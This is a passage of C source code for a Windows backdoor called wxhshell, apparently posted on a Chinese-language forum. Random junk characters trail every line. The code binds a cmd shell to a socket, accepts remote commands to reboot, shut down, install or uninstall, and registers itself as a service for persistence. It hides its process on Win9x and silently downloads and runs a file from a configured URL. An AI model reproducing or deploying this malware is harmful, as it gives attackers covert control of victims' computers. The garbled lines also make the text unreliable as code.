6AAswz'$P  
    switch(cmd[0]) { j1A|D   
  Fwb5u!_,  
  // 帮助 6|5H=*)DH  
  case '?': { GV5qdD(  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); .%IslLZ  
    break; ~ ltg  
  } h,t:]  
  // 安装 J#''q"rZ  
  case 'i': { J'e]x[Y  
    if(Install()) *}w+ 68eO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A @2Bs 5F  
    else q*bt4,D&Es  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vQgq]mA?  
    break; q(Hip<6p  
    } aBxiK[[`  
  // 卸载 <: :VCA%  
  case 'r': { x#r<,uNn,  
    if(Uninstall()) Wo!;K|~P  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0q#"clw  
    else w#9_eq|3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Zj!Abji=O  
    break; :^#vxdIC?  
    } 6e.[,-eU  
  // 显示 wxhshell 所在路径 hF>u)%J/S  
  case 'p': { UV@0gdy[  
    char svExeFile[MAX_PATH]; `eR 7H>I  
    strcpy(svExeFile,"\n\r"); |55dbL$w  
      strcat(svExeFile,ExeFile); s$ z2 c  
        send(wsh,svExeFile,strlen(svExeFile),0); 9->q|E4  
    break; >g}G}=R~3  
    } -ihiG_f  
  // 重启 v+6e;xl8  
  case 'b': { 4MLH+/e  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); <#*.}w~  
    if(Boot(REBOOT)) ! %Ny0JkO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~*-qX$gr  
    else { S-c ^eLzQ  
    closesocket(wsh); 4TZ cc|B5  
    ExitThread(0); [Y8S[YY  
    } v0LGdX)/Y  
    break; ?\y%]1  
    } *yez:qnx  
  // 关机 !YE zFU`L  
  case 'd': { !MV@) (.  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); !Z|($21W  
    if(Boot(SHUTDOWN)) i=rH7k  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H M:r0_  
    else { L'E^c,-x~  
    closesocket(wsh); }r3~rG<D71  
    ExitThread(0); +}JM&bfK  
    } !Zjq9{t\"  
    break; n>FY?  
    } 6gU{(H   
  // 获取shell m3 -9b"  
  case 's': { /X#z*GX  
    CmdShell(wsh); ~x]9SXD%  
    closesocket(wsh); QJBr6   
    ExitThread(0); @dEiVF`4:  
    break; "pvH0"Q*  
  } e.vtEQV9  
  // 退出 @~:8ye  
  case 'x': { Ed-M7#wY  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Or+p%K}-7  
    CloseIt(wsh); $/Ov2z  
    break; $kPHxD!"  
    } ~ ?^/u8  
  // 离开 n7! H:{L  
  case 'q': { !#N\ b  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); j-b*C2l  
    closesocket(wsh); DBgMC"_   
    WSACleanup(); NNkP\oh\  
    exit(1); VaLs`q&3>  
    break; {hdPhL  
        } j6YiE~  
  } JAjku6  
  } S Xr%kndS  
 .\:J~(  
  // 提示信息  jNyoN1M  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); jvwwJ<K  
} P'$ `'J]j  
  } (z7+|JE.  
k%81f'H  
  return; s0"e'  
} <L0#O(L  
#x@eDnb_  
// shell模块句柄 k$i'v:c|:i  
int CmdShell(SOCKET sock) ~Y!kB:D5;~  
{ Ol/N}M|3  
STARTUPINFO si; -:Rp'SJ  
ZeroMemory(&si,sizeof(si)); Ip *g'  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ip:LcGt  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; \_BkY%a  
PROCESS_INFORMATION ProcessInfo; j`>^1Q  
char cmdline[]="cmd"; p( LZ)7/  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); p Pro }@@  
  return 0; >SmV74[s2  
} sM2MLh'D  
\2v"YVWw  
// 自身启动模式 4'>1HW  
int StartFromService(void) j<yiNHC  
{ 2I'~2o  
typedef struct ,FSrn~-j9  
{ K7)kS  
  DWORD ExitStatus; <i. a pBH  
  DWORD PebBaseAddress; ~/#1G.H  
  DWORD AffinityMask; |NFZ(6vNh  
  DWORD BasePriority; } p:%[  
  ULONG UniqueProcessId; Dl\`  
  ULONG InheritedFromUniqueProcessId; g_.^O$}  
}   PROCESS_BASIC_INFORMATION; t*S." q  
8At<Wic  
PROCNTQSIP NtQueryInformationProcess; E8[T   
Lxl_"k G  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; }j {!-&  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; -G|a*^  
Dt}rR[yJ  
  HANDLE             hProcess; 3`.P'Fh(k  
  PROCESS_BASIC_INFORMATION pbi; 3251Vq %  
VR? ^HA9  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); N:5[,O<m_  
  if(NULL == hInst ) return 0; %eWqQ3{P]  
fz_nsVD  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); S=|@L<O  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); WgQBGch,!  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); [\z/Lbn ,.  
)X+mV  
  if (!NtQueryInformationProcess) return 0; ?\=/$Gt  
a:STQk V  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); kSncZ0K{  
  if(!hProcess) return 0; r#i?j}F}  
:Ixx<9c.  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; "y?\Dx   
~p1EF;4#  
  CloseHandle(hProcess); eDKxn8+(H  
pJIv+  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); '-$XX%TOAc  
if(hProcess==NULL) return 0; = "ts`>  
p*QKK@C  
HMODULE hMod; B^ 7eoW  
char procName[255]; "\%On >  
unsigned long cbNeeded; 7E$&2U^Js  
L:nXWz  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); {}~:&.D  
:a[Ihqfg  
  CloseHandle(hProcess); }GwVKAjP  
&?,U_)x/  
if(strstr(procName,"services")) return 1; // 以服务启动 C)-^<  
7j<e)"  
  return 0; // 注册表启动 X@N$Z{  
} "8f?h%t  
4<,|*hAT  
// 主模块 b&) 5:&MI  
int StartWxhshell(LPSTR lpCmdLine) 5f'DoT  
{ $RX'(/  
  SOCKET wsl; "Y: /= Gx  
BOOL val=TRUE; C]u',9,  
  int port=0; Q[n\R@  
  struct sockaddr_in door; K+\nC)oG  
nwI3|&  
  if(wscfg.ws_autoins) Install(); =HDI \LD<  
5/><$06rq  
port=atoi(lpCmdLine); sfT+i;p  
4Aes#{R3v  
if(port<=0) port=wscfg.ws_port; ]w).8=I  
% ~ ]xuP[  
  WSADATA data; `bI)<B  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; e9pOisZ;8  
^WYQ]@rh3  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   \p&~ ,%  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); : 9!%ZD  
  door.sin_family = AF_INET; [onqNp  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); >cMd\%^t  
  door.sin_port = htons(port); =v~1qWX  
Fqq6^um  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { NLd``=&  
closesocket(wsl); 0BPMmk  
return 1; K<sC F[  
} k8nLo.O  
S0/usC[r  
  if(listen(wsl,2) == INVALID_SOCKET) { &a)eJF]:!  
closesocket(wsl); -cF'2Sfr  
return 1; <lxD}DH=  
} #G]!%  
  Wxhshell(wsl); 0'Z\O   
  WSACleanup(); mABe'"8  
5`[n8mU  
return 0; -<_$m6x"A  
yBe d kj  
} KU9Z"9#  
9W`Frx'h1  
// 以NT服务方式启动 "VxWj}+]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) / jTT5  
{ {04"LAE  
DWORD   status = 0; &p UZDjo?  
  DWORD   specificError = 0xfffffff; O;Y:uHf  
zzGYiF ?  
  serviceStatus.dwServiceType     = SERVICE_WIN32; vH %gdpxX  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; &<'n^n  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; I3S9Us-\  
  serviceStatus.dwWin32ExitCode     = 0; ]<uQ.~  
  serviceStatus.dwServiceSpecificExitCode = 0; {NM+Oj,~'  
  serviceStatus.dwCheckPoint       = 0; .S\&L-{  
  serviceStatus.dwWaitHint       = 0; .3pbuU  
nQK|n^AU/  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); H&}ipaDO  
  if (hServiceStatusHandle==0) return; 8G%yB}pa  
,hxkk`  
status = GetLastError(); m(OvD!  
  if (status!=NO_ERROR) &sVvWNO#2  
{ "%2xR[NF  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 'WyTI^K9  
    serviceStatus.dwCheckPoint       = 0; ]1-z! B4K  
    serviceStatus.dwWaitHint       = 0; }f>H\iJe  
    serviceStatus.dwWin32ExitCode     = status; uZKP"Oy  
    serviceStatus.dwServiceSpecificExitCode = specificError; [t]X/O3<  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); >"3>s%  
    return; s=I'e/"7  
  } Y]aW)u  
_#$9 y1bd  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 5-u=o )>  
  serviceStatus.dwCheckPoint       = 0; _+f+`]iM  
  serviceStatus.dwWaitHint       = 0; k5d\ w@G"~  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 2h30\/xkU  
} }S_oH9A  
Zc& &[g  
// 处理NT服务事件,比如:启动、停止 jMBiaX`F  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 5 +9 Ze9  
{ 7[v%GoE  
switch(fdwControl) RWq{Ff}Hk  
{ ]ekk }0  
case SERVICE_CONTROL_STOP: Ft{[ae?4  
  serviceStatus.dwWin32ExitCode = 0; 7iC *Pr  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; /Wk9-uH  
  serviceStatus.dwCheckPoint   = 0; fg%&N2/(.B  
  serviceStatus.dwWaitHint     = 0; /Poet%XvRx  
  { jLg@FDb~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }$su4A@0  
  } Tn-C>=tR~%  
  return; tYW>t9  
case SERVICE_CONTROL_PAUSE: F-Z%6O,2  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ~o3Hdd_#}N  
  break; m,LG=s  
case SERVICE_CONTROL_CONTINUE: 8Ad606  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ihL/n  
  break; `A%^UCd  
case SERVICE_CONTROL_INTERROGATE: gA#RM5x@  
  break; Ru!He,k7  
}; pz^<\  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Weoj|0|t  
} wy1X\PJjH  
GDaN  
// 标准应用程序主函数 6" T['6:j  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 6bc3 37b  
{ 5,"l0nrk  
#eP LOR&q  
// 获取操作系统版本 !%mAh81{&/  
OsIsNt=GetOsVer(); F#|O@.tDG  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 1xyU  
Y+%sBqo @  
  // 从命令行安装 B=L&bx  
  if(strpbrk(lpCmdLine,"iI")) Install(); 10Wz,vW,n  
5}ie]/[|  
  // 下载执行文件 {X]R-1>  
if(wscfg.ws_downexe) { Huw\&E  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) co4h*?q  
  WinExec(wscfg.ws_filenam,SW_HIDE); 7"X>?@  
} [t\B6XxT  
dth&?/MERL  
if(!OsIsNt) { 6Sj6i^"  
// 如果时win9x,隐藏进程并且设置为注册表启动 mwv(j_  
HideProc(); "ceed)(:  
StartWxhshell(lpCmdLine); 2g{)AtK$#  
} +eX)48  
else MjfFf} @  
  if(StartFromService()) A?Qa 4i  
  // 以服务方式启动 _#e&t"@GS  
  StartServiceCtrlDispatcher(DispatchTable); FxG7Pk+=  
else k`HP "H  
  // 普通方式启动 {Ee>n^1  
  StartWxhshell(lpCmdLine); v <\A%  
`pZs T ^G[  
return 0; 9&%fq)gS  
}
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只看该作者 1 发表于: 2006-10-10
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